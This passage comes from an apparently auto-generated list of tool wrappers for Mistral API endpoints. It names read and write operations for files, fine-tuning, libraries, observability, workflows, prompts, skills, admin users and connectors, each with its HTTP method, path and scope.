get signed url via GET /v1/files/{file_id}/url GET /api/v1/mistral/v1/files/{file_id}/url. Scopes: api. mistral_get_v1_fine_tuning_jobs (read) — Jobs api routes fine tuning get fine tuning jobs via GET /v1/fine_tuning/jobs GET /api/v1/mistral/v1/fine_tuning/jobs. Scopes: api. mistral_get_v1_fine_tuning_jobs_by_job_id (read) — Jobs api routes fine tuning get fine tuning job via GET /v1/fine_tuning/jobs/{job_id} GET /api/v1/mistral/v1/fine_tuning/jobs/{job_id}. Scopes: api. mistral_get_v1_libraries (read) — Libraries list v1 via GET /v1/libraries GET /api/v1/mistral/v1/libraries. Scopes: api. mistral_get_v1_libraries_by_library_id (read) — Libraries get v1 via GET /v1/libraries/{library_id} GET /api/v1/mistral/v1/libraries/{library_id}. Scopes: api. mistral_get_v1_libraries_by_library_id_documents (read) — Libraries documents list v1 via GET /v1/libraries/{library_id}/documents GET /api/v1/mistral/v1/libraries/{library_id}/documents. Scopes: api. mistral_get_v1_libraries_by_library_id_documents_by_document_id (read) — Libraries documents get v1 via GET /v1/libraries/{library_id}/documents/{document_id} GET /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}. Scopes: api. mistral_get_v1_libraries_by_library_id_documents_by_document_id_extracted_text_signed_url (read) — Libraries documents get extracted text signed url v1 via GET /v1/libraries/{library_id}/documents/{document_id}/extracted-text-signed-url GET /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}/extracted-text-signed-url. Scopes: api. mistral_get_v1_libraries_by_library_id_documents_by_document_id_signed_url (read) — Libraries documents get signed url v1 via GET /v1/libraries/{library_id}/documents/{document_id}/signed-url GET /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}/signed-url. Scopes: api. mistral_get_v1_libraries_by_library_id_documents_by_document_id_status (read) — Libraries documents get status v1 via GET /v1/libraries/{library_id}/documents/{document_id}/status GET /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}/status. Scopes: api. mistral_get_v1_libraries_by_library_id_documents_by_document_id_text_content (read) — Libraries documents get text content v1 via GET /v1/libraries/{library_id}/documents/{document_id}/text_content GET /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}/text_content. Scopes: api. mistral_get_v1_libraries_by_library_id_share (read) — Libraries share list v1 via GET /v1/libraries/{library_id}/share GET /api/v1/mistral/v1/libraries/{library_id}/share. Scopes: api. mistral_get_v1_models (read) — List models v1 models get via GET /v1/models GET /api/v1/mistral/v1/models. Scopes: api. mistral_get_v1_models_by_model_id (read) — Retrieve model v1 models model id get via GET /v1/models/{model_id} GET /api/v1/mistral/v1/models/{model_id}. Scopes: api. mistral_get_v1_observability_campaigns (read) — Get campaigns v1 observability campaigns get via GET /v1/observability/campaigns GET /api/v1/mistral/v1/observability/campaigns. Scopes: api. mistral_get_v1_observability_campaigns_by_campaign_id (read) — Get campaign by id v1 observability campaigns campaign id get via GET /v1/observability/campaigns/{campaign_id} GET /api/v1/mistral/v1/observability/campaigns/{campaign_id}. Scopes: api. mistral_get_v1_observability_campaigns_by_campaign_id_selected_events (read) — Get campaign selected events v1 observability campaigns campaign id selected events get via GET /v1/observability/campaigns/{campaign_id}/selected-events GET /api/v1/mistral/v1/observability/campaigns/{campaign_id}/selected-events. Scopes: api. mistral_get_v1_observability_campaigns_by_campaign_id_status (read) — Get campaign status by id v1 observability campaigns campaign id status get via GET /v1/observability/campaigns/{campaign_id}/status GET /api/v1/mistral/v1/observability/campaigns/{campaign_id}/status. Scopes: api. mistral_get_v1_observability_chat_completion_events_by_event_id (read) — Get chat completion event v1 observability chat completion events event id get via GET /v1/observability/chat-completion-events/{event_id} GET /api/v1/mistral/v1/observability/chat-completion-events/{event_id}. Scopes: api. mistral_get_v1_observability_chat_completion_events_by_event_id_similar_events (read) — Get similar chat completion events v1 observability chat completion events event id similar events get via GET /v1/observability/chat-completion-events/{event_id}/similar-events GET /api/v1/mistral/v1/observability/chat-completion-events/{event_id}/similar-events. Scopes: api. mistral_get_v1_observability_chat_completion_fields (read) — Get chat completion fields v1 observability chat completion fields get via GET /v1/observability/chat-completion-fields GET /api/v1/mistral/v1/observability/chat-completion-fields. Scopes: api. mistral_get_v1_observability_chat_completion_fields_by_field_name_options (read) — Get chat completion field options v1 observability chat completion fields field name options get via GET /v1/observability/chat-completion-fields/{field_name}/options GET /api/v1/mistral/v1/observability/chat-completion-fields/{field_name}/options. Scopes: api. mistral_get_v1_observability_dataset_records_by_dataset_record_id (read) — Get dataset record v1 observability dataset records dataset record id get via GET /v1/observability/dataset-records/{dataset_record_id} GET /api/v1/mistral/v1/observability/dataset-records/{dataset_record_id}. Scopes: api. mistral_get_v1_observability_datasets (read) — Get datasets v1 observability datasets get via GET /v1/observability/datasets GET /api/v1/mistral/v1/observability/datasets. Scopes: api. mistral_get_v1_observability_datasets_by_dataset_id (read) — Get dataset by id v1 observability datasets dataset id get via GET /v1/observability/datasets/{dataset_id} GET /api/v1/mistral/v1/observability/datasets/{dataset_id}. Scopes: api. mistral_get_v1_observability_datasets_by_dataset_id_exports_to_jsonl (read) — Export dataset to jsonl v1 observability datasets dataset id exports to jsonl get via GET /v1/observability/datasets/{dataset_id}/exports/to-jsonl GET /api/v1/mistral/v1/observability/datasets/{dataset_id}/exports/to-jsonl. Scopes: api. mistral_get_v1_observability_datasets_by_dataset_id_records (read) — Get dataset records v1 observability datasets dataset id records get via GET /v1/observability/datasets/{dataset_id}/records GET /api/v1/mistral/v1/observability/datasets/{dataset_id}/records. Scopes: api. mistral_get_v1_observability_datasets_by_dataset_id_tasks (read) — Get dataset import tasks v1 observability datasets dataset id tasks get via GET /v1/observability/datasets/{dataset_id}/tasks GET /api/v1/mistral/v1/observability/datasets/{dataset_id}/tasks. Scopes: api. mistral_get_v1_observability_datasets_by_dataset_id_tasks_by_task_id (read) — Get dataset import task v1 observability datasets dataset id tasks task id get via GET /v1/observability/datasets/{dataset_id}/tasks/{task_id} GET /api/v1/mistral/v1/observability/datasets/{dataset_id}/tasks/{task_id}. Scopes: api. mistral_get_v1_observability_judges (read) — Get judges v1 observability judges get via GET /v1/observability/judges GET /api/v1/mistral/v1/observability/judges. Scopes: api. mistral_get_v1_observability_judges_by_judge_id (read) — Get judge by id v1 observability judges judge id get via GET /v1/observability/judges/{judge_id} GET /api/v1/mistral/v1/observability/judges/{judge_id}. Scopes: api. mistral_get_v1_observability_logs_fields (read) — Get log fields v1 observability logs fields get via GET /v1/observability/logs/fields GET /api/v1/mistral/v1/observability/logs/fields. Scopes: api. mistral_get_v1_observability_logs_fields_by_field_name_options (read) — Get log field options v1 observability logs fields field name options get via GET /v1/observability/logs/fields/{field_name}/options GET /api/v1/mistral/v1/observability/logs/fields/{field_name}/options. Scopes: api. mistral_get_v1_observability_spans_evaluations_fields (read) — Get span evaluation fields v1 observability spans evaluations fields get via GET /v1/observability/spans/evaluations/fields GET /api/v1/mistral/v1/observability/spans/evaluations/fields. Scopes: api. mistral_get_v1_observability_spans_evaluations_fields_by_field_name_options (read) — Get span evaluation field options v1 observability spans evaluations fields field name options get via GET /v1/observability/spans/evaluations/fields/{field_name}/options GET /api/v1/mistral/v1/observability/spans/evaluations/fields/{field_name}/options. Scopes: api. mistral_get_v1_observability_spans_fields (read) — Get span fields v1 observability spans fields get via GET /v1/observability/spans/fields GET /api/v1/mistral/v1/observability/spans/fields. Scopes: api. mistral_get_v1_observability_spans_fields_by_field_name_options (read) — Get span field options v1 observability spans fields field name options get via GET /v1/observability/spans/fields/{field_name}/options GET /api/v1/mistral/v1/observability/spans/fields/{field_name}/options. Scopes: api. mistral_get_v1_observability_traces_by_trace_id (read) — Get trace by id v1 observability traces trace id get via GET /v1/observability/traces/{trace_id} GET /api/v1/mistral/v1/observability/traces/{trace_id}. Scopes: api. mistral_get_v1_observability_traces_by_trace_id_spans (read) — Get trace spans v1 observability traces trace id spans get via GET /v1/observability/traces/{trace_id}/spans GET /api/v1/mistral/v1/observability/traces/{trace_id}/spans. Scopes: api. mistral_get_v1_observability_traces_by_trace_id_spans_by_span_id (read) — Get span by id v1 observability traces trace id spans span id get via GET /v1/observability/traces/{trace_id}/spans/{span_id} GET /api/v1/mistral/v1/observability/traces/{trace_id}/spans/{span_id}. Scopes: api. mistral_get_v1_observability_traces_fields (read) — Get trace fields v1 observability traces fields get via GET /v1/observability/traces/fields GET /api/v1/mistral/v1/observability/traces/fields. Scopes: api. mistral_get_v1_observability_traces_fields_by_field_name_options (read) — Get trace field options v1 observability traces fields field name options get via GET /v1/observability/traces/fields/{field_name}/options GET /api/v1/mistral/v1/observability/traces/fields/{field_name}/options. Scopes: api. mistral_get_v1_rag_deployments (read) — Get deployment summaries v1 rag deployments get via GET /v1/rag/deployments GET /api/v1/mistral/v1/rag/deployments. Scopes: api. mistral_get_v1_rag_ingestion_pipeline_configurations (read) — Get configs v1 rag ingestion pipeline configurations get via GET /v1/rag/ingestion_pipeline_configurations GET /api/v1/mistral/v1/rag/ingestion_pipeline_configurations. Scopes: api. mistral_get_v1_users_me (read) — Users api get identity via GET /v1/users/me GET /api/v1/mistral/v1/users/me. Scopes: api. mistral_get_v1_users_me_organizations (read) — Users api list organizations via GET /v1/users/me/organizations GET /api/v1/mistral/v1/users/me/organizations. Scopes: api. mistral_get_v1_users_me_workspaces (read) — Users api list workspaces via GET /v1/users/me/workspaces GET /api/v1/mistral/v1/users/me/workspaces. Scopes: api. mistral_get_v1_workflows (read) — Get workflows v1 workflows get via GET /v1/workflows GET /api/v1/mistral/v1/workflows. Scopes: api. mistral_get_v1_workflows_by_workflow_identifier (read) — Get workflow v1 workflows workflow identifier get via GET /v1/workflows/{workflow_identifier} GET /api/v1/mistral/v1/workflows/{workflow_identifier}. Scopes: api. mistral_get_v1_workflows_by_workflow_name_metrics (read) — Get workflow metrics v1 workflows workflow name metrics get via GET /v1/workflows/{workflow_name}/metrics GET /api/v1/mistral/v1/workflows/{workflow_name}/metrics. Scopes: api. mistral_get_v1_workflows_deployments (read) — List deployments v1 workflows deployments get via GET /v1/workflows/deployments GET /api/v1/mistral/v1/workflows/deployments. Scopes: api. mistral_get_v1_workflows_deployments_by_name (read) — Get deployment v1 workflows deployments name get via GET /v1/workflows/deployments/{name} GET /api/v1/mistral/v1/workflows/deployments/{name}. Scopes: api. mistral_get_v1_workflows_deployments_by_name_logs (read) — Get deployment logs via GET /v1/workflows/deployments/{name}/logs GET /api/v1/mistral/v1/workflows/deployments/{name}/logs. Scopes: api. mistral_get_v1_workflows_deployments_by_name_workers (read) — List deployment workers v1 workflows deployments name workers get via GET /v1/workflows/deployments/{name}/workers GET /api/v1/mistral/v1/workflows/deployments/{name}/workers. Scopes: api. mistral_get_v1_workflows_events_list (read) — Get workflow events v1 workflows events list get via GET /v1/workflows/events/list GET /api/v1/mistral/v1/workflows/events/list. Scopes: api. mistral_get_v1_workflows_executions_by_execution_id (read) — Get workflow execution v1 workflows executions execution id get via GET /v1/workflows/executions/{execution_id} GET /api/v1/mistral/v1/workflows/executions/{execution_id}. Scopes: api. mistral_get_v1_workflows_executions_by_execution_id_history (read) — Get workflow execution history v1 workflows executions execution id history get via GET /v1/workflows/executions/{execution_id}/history GET /api/v1/mistral/v1/workflows/executions/{execution_id}/history. Scopes: api. mistral_get_v1_workflows_executions_by_execution_id_logs (read) — Get workflow execution logs via GET /v1/workflows/executions/{execution_id}/logs GET /api/v1/mistral/v1/workflows/executions/{execution_id}/logs. Scopes: api. mistral_get_v1_workflows_executions_by_execution_id_trace_events (read) — Get workflow execution trace events via GET /v1/workflows/executions/{execution_id}/trace/events GET /api/v1/mistral/v1/workflows/executions/{execution_id}/trace/events. Scopes: api. mistral_get_v1_workflows_executions_by_execution_id_trace_info (read) — Get workflow execution trace info via GET /v1/workflows/executions/{execution_id}/trace/info GET /api/v1/mistral/v1/workflows/executions/{execution_id}/trace/info. Scopes: api. mistral_get_v1_workflows_executions_by_execution_id_trace_otel (read) — Get workflow execution trace otel via GET /v1/workflows/executions/{execution_id}/trace/otel GET /api/v1/mistral/v1/workflows/executions/{execution_id}/trace/otel. Scopes: api. mistral_get_v1_workflows_executions_by_execution_id_trace_summary (read) — Get workflow execution trace summary via GET /v1/workflows/executions/{execution_id}/trace/summary GET /api/v1/mistral/v1/workflows/executions/{execution_id}/trace/summary. Scopes: api. mistral_get_v1_workflows_registrations (read) — Get workflow registrations v1 workflows registrations get via GET /v1/workflows/registrations GET /api/v1/mistral/v1/workflows/registrations. Scopes: api. mistral_get_v1_workflows_registrations_by_workflow_registration_id (read) — Get workflow registration v1 workflows registrations workflow registration id get via GET /v1/workflows/registrations/{workflow_registration_id} GET /api/v1/mistral/v1/workflows/registrations/{workflow_registration_id}. Scopes: api. mistral_get_v1_workflows_runs (read) — List runs v1 workflows runs get via GET /v1/workflows/runs GET /api/v1/mistral/v1/workflows/runs. Scopes: api. mistral_get_v1_workflows_runs_by_run_id (read) — Get run v1 workflows runs run id get via GET /v1/workflows/runs/{run_id} GET /api/v1/mistral/v1/workflows/runs/{run_id}. Scopes: api. mistral_get_v1_workflows_runs_by_run_id_history (read) — Get run history v1 workflows runs run id history get via GET /v1/workflows/runs/{run_id}/history GET /api/v1/mistral/v1/workflows/runs/{run_id}/history. Scopes: api. mistral_get_v1_workflows_schedules (read) — Get schedules v1 workflows schedules get via GET /v1/workflows/schedules GET /api/v1/mistral/v1/workflows/schedules. Scopes: api. mistral_get_v1_workflows_schedules_by_schedule_id (read) — Get schedule v1 workflows schedules schedule id get via GET /v1/workflows/schedules/{schedule_id} GET /api/v1/mistral/v1/workflows/schedules/{schedule_id}. Scopes: api. mistral_get_v1_workflows_workers_whoami (read) — Get worker info v1 workflows workers whoami get via GET /v1/workflows/workers/whoami GET /api/v1/mistral/v1/workflows/workers/whoami. Scopes: api. mistral_get_v2_prompts (read) — Prompts list via GET /v2/prompts GET /api/v1/mistral/v2/prompts. Scopes: api. mistral_get_v2_prompts_by_prompt_id (read) — Prompts get via GET /v2/prompts/{prompt_id} GET /api/v1/mistral/v2/prompts/{prompt_id}. Scopes: api. mistral_get_v2_prompts_by_prompt_id_versions (read) — Prompts list versions via GET /v2/prompts/{prompt_id}/versions GET /api/v1/mistral/v2/prompts/{prompt_id}/versions. Scopes: api. mistral_get_v2_prompts_by_prompt_id_versions_by_version (read) — Prompts get version via GET /v2/prompts/{prompt_id}/versions/{version} GET /api/v1/mistral/v2/prompts/{prompt_id}/versions/{version}. Scopes: api. mistral_get_v2_skills (read) — Skills list via GET /v2/skills GET /api/v1/mistral/v2/skills. Scopes: api. mistral_get_v2_skills_by_skill_id (read) — Skills get via GET /v2/skills/{skill_id} GET /api/v1/mistral/v2/skills/{skill_id}. Scopes: api. mistral_get_v2_skills_by_skill_id_versions (read) — Skills list versions via GET /v2/skills/{skill_id}/versions GET /api/v1/mistral/v2/skills/{skill_id}/versions. Scopes: api. mistral_get_v2_skills_by_skill_id_versions_by_version (read) — Skills get version via GET /v2/skills/{skill_id}/versions/{version} GET /api/v1/mistral/v2/skills/{skill_id}/versions/{version}. Scopes: api. mistral_patch_v1_admin_user_groups_by_group_uuid (write) — Users api admin user groups update user group via PATCH /v1/admin/user-groups/{group_uuid} PATCH /api/v1/mistral/v1/admin/user-groups/{group_uuid}. Scopes: api. mistral_patch_v1_admin_user_groups_by_group_uuid_nested (write) — Users api admin user groups set nested groups via PATCH /v1/admin/user-groups/{group_uuid}/nested PATCH /api/v1/mistral/v1/admin/user-groups/{group_uuid}/nested. Scopes: api. mistral_patch_v1_admin_user_groups_by_group_uuid_organization_role (write) — Users admin user groups update user group organization role via PATCH /v1/admin/user-groups/{group_uuid}/organization-role PATCH /api/v1/mistral/v1/admin/user-groups/{group_uuid}/organization-role. Scopes: api. mistral_patch_v1_admin_user_groups_by_group_uuid_workspaces_by_workspace_uuid (write) — Users admin user groups update group workspace assignment via PATCH /v1/admin/user-groups/{group_uuid}/workspaces/{workspace_uuid} PATCH /api/v1/mistral/v1/admin/user-groups/{group_uuid}/workspaces/{workspace_uuid}. Scopes: api. mistral_patch_v1_admin_users_by_user_id (write) — Users api admin users update user via PATCH /v1/admin/users/{user_id} PATCH /api/v1/mistral/v1/admin/users/{user_id}. Scopes: api. mistral_patch_v1_admin_workspaces_by_workspace_uuid (write) — Users api admin workspaces update workspaces via PATCH /v1/admin/workspaces/{workspace_uuid} PATCH /api/v1/mistral/v1/admin/workspaces/{workspace_uuid}. Scopes: api. mistral_patch_v1_admin_workspaces_by_workspace_uuid_users (write) — Users api admin workspaces add or update users workspaces via PATCH /v1/admin/workspaces/{workspace_uuid}/users PATCH /api/v1/mistral/v1/admin/workspaces/{workspace_uuid}/users. Scopes: api. mistral_patch_v1_agents_by_agent_id (write) — Agents api v1 agents update via PATCH /v1/agents/{agent_id} PATCH /api/v1/mistral/v1/agents/{agent_id}. Scopes: api. mistral_patch_v1_agents_by_agent_id_version (write) — Agents api v1 agents update version via PATCH /v1/agents/{agent_id}/version PATCH /api/v1/mistral/v1/agents/{agent_id}/version. Scopes: api. mistral_patch_v1_audio_voices_by_voice_id (write) — Update voice v1 audio voices voice id patch via PATCH /v1/audio/voices/{voice_id} PATCH /api/v1/mistral/v1/audio/voices/{voice_id}. Scopes: api. mistral_patch_v1_connectors_by_connector_id (write) — Connector update v1 via PATCH /v1/connectors/{connector_id} PATCH /api/v1/mistral/v1/connectors/{connector_id}. Scopes: api. mistral_patch_v1_fine_tuning_models_by_model_id (write) — Jobs api routes fine tuning update fine tuned model via PATCH /v1/fine_tuning/models/{model_id} PATCH /api/v1/mistral/v1/fine_tuning/models/{model_id}. Scopes: api. mistral_patch_v1_libraries_by_library_id (write) — Libraries patch v1 via PATCH /v1/libraries/{library_id} PATCH /api/v1/mistral/v1/libraries/{library_id}. Scopes: api. mistral_patch_v1_libraries_by_library_id_documents_by_document_id (write) — Libraries documents patch v1 via PATCH /v1/libraries/{library_id}/documents/{document_id} PATCH /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}. Scopes: api. mistral_patch_v1_observability_datasets_by_dataset_id (write) — Update dataset v1 observability datasets dataset id patch via PATCH /v1/observability/datasets/{dataset_id} PATCH /api/v1/mistral/v1/observability/datasets/{dataset_id}. Scopes: api. mistral_patch_v1_workflows_deployments_by_name (write) — Update deployment v1 workflows deployments name patch via PATCH /v1/workflows/deployments/{name} PATCH /api/v1/mistral/v1/workflows/deployments/{name}. Scopes: api. mistral_patch_v1_workflows_schedules_by_schedule_id (write) — Update schedule v1 workflows schedules schedule id patch via PATCH /v1/workflows/schedules/{schedule_id} PATCH /api/v1/mistral/v1/workflows/schedules/{schedule_id}. Scopes: api. mistral_patch_v2_prompts_by_prompt_id (write) — Prompts update via PATCH /v2/prompts/{prompt_id} PATCH /api/v1/mistral/v2/prompts/{prompt_id}. Scopes: api. mistral_patch_v2_prompts_by_prompt_id_versions_by_version (write) — Prompts update version metadata via PATCH /v2/prompts/{prompt_id}/versions/{version} PATCH /api/v1/mistral/v2/prompts/{prompt_id}/versions/{version}. Scopes: api. mistral_patch_v2_skills_by_skill_id (write) — Skills update via PATCH /v2/skills/{skill_id} PATCH /api/v1/mistral/v2/skills/{skill_id}. Scopes: api. mistral_patch_v2_skills_by_skill_id_versions_by_version (write) — Skills update version metadata via PATCH /v2/skills/{skill_id}/versions/{version} PATCH /api/v1/mistral/v2/skills/{skill_id}/versions/{version}. Scopes: api. mistral_post_v1_admin_api_keys (write) — Users api admin api keys create api key via POST /v1/admin/api-keys POST /api/v1/mistral/v1/admin/api-keys. Scopes: api. mistral_post_v1_admin_scim_sync (write) — Users api admin scim sync trigger scim sync via POST /v1/admin/scim/sync POST /api/v1/mistral/v1/admin/scim/sync. Scopes: api. mistral_post_v1_admin_spend_limit (write) — Users api admin spend limits update spend limits via POST /v1/admin/spend-limit POST /api/v1/mistral/v1/admin/spend-limit. Scopes: api. mistral_post_v1_admin_user_groups (write) — Users api admin user groups create user group via POST /v1/admin/user-groups POST /api/v1/mistral/v1/admin/user-groups. Scopes: api. mistral_post_v1_admin_user_groups_by_group_uuid_members (write) — Users api admin user groups assign users to group via POST /v1/admin/user-groups/{group_uuid}/members POST /api/v1/mistral/v1/admin/user-groups/{group_uuid}/members. Scopes: api. mistral_post_v1_admin_user_groups_by_group_uuid_workspaces (write) — Users api admin user groups assign group to workspace via POST /v1/admin/user-groups/{group_uuid}/workspaces POST /api/v1/mistral/v1/admin/user-groups/{group_uuid}/workspaces. Scopes: api. mistral_post_v1_admin_user_groups_provision_workspace (write) — Users api admin user groups provision group to workspace via POST /v1/admin/user-groups/provision-workspace POST /api/v1/mistral/v1/admin/user-groups/provision-workspace. Scopes: api. mistral_post_v1_admin_users (write) — Users api admin users create users via POST /v1/admin/users POST /api/v1/mistral/v1/admin/users. Scopes: api. mistral_post_v1_admin_users_invite (write) — Users api admin users invite users via POST /v1/admin/users-invite POST /api/v1/mistral/v1/admin/users-invite. Scopes: api. mistral_post_v1_admin_workspaces (write) — Users api admin workspaces create workspace via POST /v1/admin/workspaces POST /api/v1/mistral/v1/admin/workspaces. Scopes: api. mistral_post_v1_admin_workspaces_by_workspace_uuid_add_users (write) — Users api admin workspaces add users workspaces via POST /v1/admin/workspaces/{workspace_uuid}/add-users POST /api/v1/mistral/v1/admin/workspaces/{workspace_uuid}/add-users. Scopes: api. mistral_post_v1_agents (write) — Agents api v1 agents create via POST /v1/agents POST /api/v1/mistral/v1/agents. Scopes: api. mistral_post_v1_agents_completions (write) — Agents completion v1 agents completions post via POST /v1/agents/completions POST /api/v1/mistral/v1/agents/completions. Scopes: api. mistral_post_v1_audio_speech (write) — Speech v1 audio speech post via POST /v1/audio/speech POST /api/v1/mistral/v1/audio/speech. Scopes: api. mistral_post_v1_audio_voices (write) — Create voice v1 audio voices post via POST /v1/audio/voices POST /api/v1/mistral/v1/audio/voices. Scopes: api. mistral_post_v1_batch_jobs (write) — Jobs api routes batch create batch job via POST /v1/batch/jobs POST /api/v1/mistral/v1/batch/jobs. Scopes: api. mistral_post_v1_batch_jobs_by_job_id_cancel (write) — Jobs api routes batch cancel batch job via POST /v1/batch/jobs/{job_id}/cancel POST /api/v1/mistral/v1/batch/jobs/{job_id}/cancel. Scopes: api. mistral_post_v1_chat_classifications (write) — Chat classifications v1 chat classifications post via POST /v1/chat/classifications POST /api/v1/mistral/v1/chat/classifications. Scopes: api. mistral_post_v1_chat_completions (write) — Chat completion v1 chat completions post via POST /v1/chat/completions POST /api/v1/mistral/v1/chat/completions. Scopes: api. mistral_post_v1_chat_moderations (write) — Chat moderations v1 chat moderations post via POST /v1/chat/moderations POST /api/v1/mistral/v1/chat/moderations. Scopes: api. mistral_post_v1_classifications (write) — Classifications v1 classifications post via POST /v1/classifications POST /api/v1/mistral/v1/classifications. Scopes: api. mistral_post_v1_connectors (write) — Connector create v1 via POST /v1/connectors POST /api/v1/mistral/v1/connectors. Scopes: api. mistral_post_v1_connectors_by_connector_id_by_consumer_scope_activate (write) — Connector activate for consumer v1 via POST /v1/connectors/{connector_id}/{consumer_scope}/activate POST /api/v1/mistral/v1/connectors/{connector_id}/{consumer_scope}/activate. Scopes: api. mistral_post_v1_connectors_by_connector_id_by_consumer_scope_deactivate (write) — Connector deactivate for consumer v1 via POST /v1/connectors/{connector_id}/{consumer_scope}/deactivate POST /api/v1/mistral/v1/connectors/{connector_id}/{consumer_scope}/deactivate. Scopes: api. mistral_post_v1_connectors_by_connector_id_or_name_organization_credentials (write) — Connector create or update organization credentials v1 via POST /v1/connectors/{connector_id_or_name}/organization/credentials POST /api/v1/mistral/v1/connectors/{connector_id_or_name}/organization/credentials. Scopes: api. mistral_post_v1_connectors_by_connector_id_or_name_tools_by_tool_name_call (write) — Connector call tool v1 via POST /v1/connectors/{connector_id_or_name}/tools/{tool_name}/call POST /api/v1/mistral/v1/connectors/{connector_id_or_name}/tools/{tool_name}/call. Scopes: api. mistral_post_v1_connectors_by_connector_id_or_name_user_credentials (write) — Connector create or update user credentials v1 via POST /v1/connectors/{connector_id_or_name}/user/credentials POST /api/v1/mistral/v1/connectors/{connector_id_or_name}/user/credentials. Scopes: api. mistral_post_v1_connectors_by_connector_id_or_name_workspace_credentials (write) — Connector create or update workspace credentials v1 via POST /v1/connectors/{connector_id_or_name}/workspace/credentials POST /api/v1/mistral/v1/connectors/{connector_id_or_name}/workspace/credentials. Scopes: api. mistral_post_v1_conversations (write) — Agents api v1 conversations start via POST /v1/conversations POST /api/v1/mistral/v1/conversations. Scopes: api. mistral_post_v1_conversations_by_conversation_id (write) — Agents api v1 conversations append via POST /v1/conversations/{conversation_id} POST /api/v1/mistral/v1/conversations/{conversation_id}. Scopes: api. mistral_post_v1_conversations_by_conversation_id_restart (write) — Agents api v1 conversations restart via POST /v1/conversations/{conversation_id}/restart POST /api/v1/mistral/v1/conversations/{conversation_id}/restart. Scopes: api. mistral_post_v1_embeddings (write) — Embeddings v1 embeddings post via POST /v1/embeddings POST /api/v1/mistral/v1/embeddings. Scopes: api. mistral_post_v1_fim_completions (write) — Fim completion v1 fim completions post via POST /v1/fim/completions POST /api/v1/mistral/v1/fim/completions. Scopes: api. mistral_post_v1_fine_tuning_jobs (write) — Jobs api routes fine tuning create fine tuning job via POST /v1/fine_tuning/jobs POST /api/v1/mistral/v1/fine_tuning/jobs. Scopes: api. mistral_post_v1_fine_tuning_jobs_by_job_id_cancel (write) — Jobs api routes fine tuning cancel fine tuning job via POST /v1/fine_tuning/jobs/{job_id}/cancel POST /api/v1/mistral/v1/fine_tuning/jobs/{job_id}/cancel. Scopes: api. mistral_post_v1_fine_tuning_jobs_by_job_id_start (write) — Jobs api routes fine tuning start fine tuning job via POST /v1/fine_tuning/jobs/{job_id}/start POST /api/v1/mistral/v1/fine_tuning/jobs/{job_id}/start. Scopes: api. mistral_post_v1_fine_tuning_models_by_model_id_archive (write) — Jobs api routes fine tuning archive fine tuned model via POST /v1/fine_tuning/models/{model_id}/archive POST /api/v1/mistral/v1/fine_tuning/models/{model_id}/archive. Scopes: api. mistral_post_v1_libraries (write) — Libraries create v1 via POST /v1/libraries POST /api/v1/mistral/v1/libraries. Scopes: api. mistral_post_v1_libraries_by_library_id_documents_by_document_id_reprocess (write) — Libraries documents reprocess v1 via POST /v1/libraries/{library_id}/documents/{document_id}/reprocess POST /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}/reprocess. Scopes: api. mistral_post_v1_moderations (write) — Moderations v1 moderations post via POST /v1/moderations POST /api/v1/mistral/v1/moderations. Scopes: api. mistral_post_v1_observability_campaigns (write) — Create campaign v1 observability campaigns post via POST /v1/observability/campaigns POST /api/v1/mistral/v1/observability/campaigns. Scopes: api. mistral_post_v1_observability_chat_completion_events_by_event_id_live_judging (write) — Judge chat completion event v1 observability chat completion events event id live judging post via POST /v1/observability/chat-completion-events/{event_id}/live-judging POST /api/v1/mistral/v1/observability/chat-completion-events/{event_id}/live-judging. Scopes: api. mistral_post_v1_observability_chat_completion_events_search (write) — Get chat completion events v1 observability chat completion events search post via POST /v1/observability/chat-completion-events/search POST /api/v1/mistral/v1/observability/chat-completion-events/search. Scopes: api. mistral_post_v1_observability_chat_completion_events_search_ids (write) — Get chat completion event ids v1 observability chat completion events search ids post via POST /v1/observability/chat-completion-events/search-ids POST /api/v1/mistral/v1/observability/chat-completion-events/search-ids. Scopes: api. mistral_post_v1_observability_chat_completion_fields_by_field_name_options_counts (write) — Get chat completion field options counts v1 observability chat completion fields field name options counts post via POST /v1/observability/chat-completion-fields/{field_name}/options-counts POST /api/v1/mistral/v1/observability/chat-completion-fields/{field_name}/options-counts. Scopes: api. mistral_post_v1_observability_dataset_records_bulk_delete (write) — Delete dataset records v1 observability dataset records bulk delete post via POST /v1/observability/dataset-records/bulk-delete POST /api/v1/mistral/v1/observability/dataset-records/bulk-delete. Scopes: api. mistral_post_v1_observability_dataset_records_by_dataset_record_id_live_judging (write) — Judge dataset record v1 observability dataset records dataset record id live judging post via POST /v1/observability/dataset-records/{dataset_record_id}/live-judging POST /api/v1/mistral/v1/observability/dataset-records/{dataset_record_id}/live-judging. Scopes: api. mistral_post_v1_observability_datasets (write) — Create dataset v1 observability datasets post via POST /v1/observability/datasets POST /api/v1/mistral/v1/observability/datasets. Scopes: api. mistral_post_v1_observability_datasets_by_dataset_id_imports_from_campaign (write) — Post dataset records from campaign v1 observability datasets dataset id imports from campaign post via POST /v1/observability/datasets/{dataset_id}/imports/from-campaign POST /api/v1/mistral/v1/observability/datasets/{dataset_id}/imports/from-campaign. Scopes: api. mistral_post_v1_observability_datasets_by_dataset_id_imports_from_dataset (write) — Post dataset records from dataset v1 observability datasets dataset id imports from dataset post via POST /v1/observability/datasets/{dataset_id}/imports/from-dataset POST /api/v1/mistral/v1/observability/datasets/{dataset_id}/imports/from-dataset. Scopes: api. mistral_post_v1_observability_datasets_by_dataset_id_imports_from_explorer (write) — Post dataset records from explorer v1 observability datasets dataset id imports from explorer post via POST /v1/observability/datasets/{dataset_id}/imports/from-explorer POST /api/v1/mistral/v1/observability/datasets/{dataset_id}/imports/from-explorer. Scopes: api. mistral_post_v1_observability_datasets_by_dataset_id_imports_from_file (write) — Post dataset records from file v1 observability datasets dataset id imports from file post via POST /v1/observability/datasets/{dataset_id}/imports/from-file POST /api/v1/mistral/v1/observability/datasets/{dataset_id}/imports/from-file. Scopes: api. mistral_post_v1_observability_datasets_by_dataset_id_imports_from_playground (write) — Post dataset records from playground v1 observability datasets dataset id imports from playground post via POST /v1/observability/datasets/{dataset_id}/imports/from-playground POST /api/v1/mistral/v1/observability/datasets/{dataset_id}/imports/from-playground. Scopes: api. mistral_post_v1_observability_datasets_by_dataset_id_records (write) — Create dataset record v1 observability datasets dataset id records post via POST /v1/observability/datasets/{dataset_id}/records POST 